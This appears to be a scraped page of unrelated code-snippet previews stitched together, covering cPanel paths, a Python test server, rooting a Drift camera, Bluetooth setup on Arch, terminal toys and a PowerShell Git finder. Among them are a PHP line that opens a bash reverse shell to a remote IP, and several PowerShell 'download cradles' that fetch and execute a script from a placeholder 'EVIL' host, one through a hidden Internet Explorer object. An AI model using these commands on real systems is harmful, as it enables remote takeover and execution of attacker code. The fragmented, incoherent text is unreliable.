For those users who use cPanel/WHM on their virtual or dedicated servers the following article describes common system paths and utilities.
PHP
/usr/bin/php
| #!/usr/bin/env python | |
| """ | |
| Very simple HTTP server in python (Updated for Python 3.7) | |
| Usage: | |
| ./dummy-web-server.py -h | |
| ./dummy-web-server.py -l localhost -p 8000 | |
| Send a GET request: |
## Drift HD Ghost - Technical Notes and Root
Note: Please don't attempt anything here unless you are comfortable with the possibility of permanently damaging your camera. I also do not guarantee your camera is the same as mine - this is just for information and fun! It goes without saying that I take no responsibility for what you do with this information, and it will probably invalidate your warranty too.
It is reported that the firmware re-flash does not appear to disable the debug network on a Ghost S.
strings over publically available firmware and software, then searching around for anything interesting.| <?php | |
| exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
| pacman -Syy | |
| pacman -Sy bluez bluez-utils | |
| pacman -Sy libbluetooth-dev | |
| modprobe btusb | |
| systemctl enable bluetooth.service | |
| systemctl start bluetooth.service | |
| bluetoothctl |
How to have some fun using the terminal.
sudo apt-get install cowsaysudo apt-get install fortunesudo apt-get install figletruby -vgem install lolcat| Function Find-GitRepository { | |
| <# | |
| .SYNOPSIS | |
| Find Git repositories | |
| .DESCRIPTION | |
| Use this command to find Git repositories in the specified folder. It is assumed that you have the Git command line tools already installed. | |
| .PARAMETER Path | |
| The top level path to search. |